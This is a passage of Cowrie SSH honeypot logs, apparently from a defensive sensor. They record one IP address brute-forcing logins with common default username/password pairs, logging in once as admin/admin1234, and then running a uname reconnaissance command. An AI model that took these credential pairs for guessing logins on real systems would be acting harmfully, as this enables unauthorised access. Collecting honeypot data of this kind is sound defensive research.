,"ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:15.614694Z","src_ip":"192.109.200.78","session":"d84c8c30396f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic","message":"login attempt [weblogic/weblogic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:15.867378Z","src_ip":"192.109.200.78","session":"d84c8c30396f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:16.953304Z","src_ip":"192.109.200.78","session":"d84c8c30396f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50442,"dst_ip":"10.17.0.5","dst_port":22,"session":"925d7f982d38","protocol":"ssh","message":"New connection: 192.109.200.78:50442 (10.17.0.5:22) [session: 925d7f982d38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:19.547806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:19.553364Z","src_ip":"192.109.200.78","session":"925d7f982d38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:19.636927Z","src_ip":"192.109.200.78","session":"925d7f982d38","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:20.026936Z","src_ip":"192.109.200.78","session":"925d7f982d38","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:20.285633Z","src_ip":"192.109.200.78","session":"925d7f982d38","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:20.288870Z","src_ip":"192.109.200.78","session":"925d7f982d38","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:20.374472Z","src_ip":"192.109.200.78","session":"925d7f982d38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:20.379956Z","src_ip":"192.109.200.78","session":"925d7f982d38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50450,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4881263f568","protocol":"ssh","message":"New connection: 192.109.200.78:50450 (10.17.0.5:22) [session: d4881263f568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:23.772243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:23.778159Z","src_ip":"192.109.200.78","session":"d4881263f568","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:23.861139Z","src_ip":"192.109.200.78","session":"d4881263f568","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1","message":"login attempt [admin/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:24.117371Z","src_ip":"192.109.200.78","session":"d4881263f568","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:25.204782Z","src_ip":"192.109.200.78","session":"d4881263f568","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50462,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d8f1c49ea74","protocol":"ssh","message":"New connection: 192.109.200.78:50462 (10.17.0.5:22) [session: 3d8f1c49ea74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:27.861817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:27.866776Z","src_ip":"192.109.200.78","session":"3d8f1c49ea74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:27.952501Z","src_ip":"192.109.200.78","session":"3d8f1c49ea74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"123456","message":"login attempt [zabbix/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:28.204807Z","src_ip":"192.109.200.78","session":"3d8f1c49ea74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:29.291256Z","src_ip":"192.109.200.78","session":"3d8f1c49ea74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51164,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc54fd161f4e","protocol":"ssh","message":"New connection: 192.109.200.78:51164 (10.17.0.5:22) [session: cc54fd161f4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:31.869335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:31.984665Z","src_ip":"192.109.200.78","session":"cc54fd161f4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:31.990073Z","src_ip":"192.109.200.78","session":"cc54fd161f4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty1","message":"login attempt [root/Qwerty1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:32.615757Z","src_ip":"192.109.200.78","session":"cc54fd161f4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:33.701857Z","src_ip":"192.109.200.78","session":"cc54fd161f4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51172,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9be6cd11844","protocol":"ssh","message":"New connection: 192.109.200.78:51172 (10.17.0.5:22) [session: e9be6cd11844]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:36.107501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:36.112784Z","src_ip":"192.109.200.78","session":"e9be6cd11844","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:36.199351Z","src_ip":"192.109.200.78","session":"e9be6cd11844","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password","message":"login attempt [ubuntu/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:36.446971Z","src_ip":"192.109.200.78","session":"e9be6cd11844","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:37.538782Z","src_ip":"192.109.200.78","session":"e9be6cd11844","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44192,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a8ad3883bca","protocol":"ssh","message":"New connection: 192.109.200.78:44192 (10.17.0.5:22) [session: 0a8ad3883bca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:40.332824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:40.337856Z","src_ip":"192.109.200.78","session":"0a8ad3883bca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:40.419639Z","src_ip":"192.109.200.78","session":"0a8ad3883bca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux","message":"login attempt [root/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:40.672728Z","src_ip":"192.109.200.78","session":"0a8ad3883bca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:41.757943Z","src_ip":"192.109.200.78","session":"0a8ad3883bca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44206,"dst_ip":"10.17.0.5","dst_port":22,"session":"460ef94f848d","protocol":"ssh","message":"New connection: 192.109.200.78:44206 (10.17.0.5:22) [session: 460ef94f848d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:44.642377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:44.646830Z","src_ip":"192.109.200.78","session":"460ef94f848d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:44.730770Z","src_ip":"192.109.200.78","session":"460ef94f848d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A123456a","message":"login attempt [root/A123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:44.982446Z","src_ip":"192.109.200.78","session":"460ef94f848d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:46.067317Z","src_ip":"192.109.200.78","session":"460ef94f848d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36424,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8e32d47616e","protocol":"ssh","message":"New connection: 192.109.200.78:36424 (10.17.0.5:22) [session: b8e32d47616e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:49.740562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:49.755345Z","src_ip":"192.109.200.78","session":"b8e32d47616e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 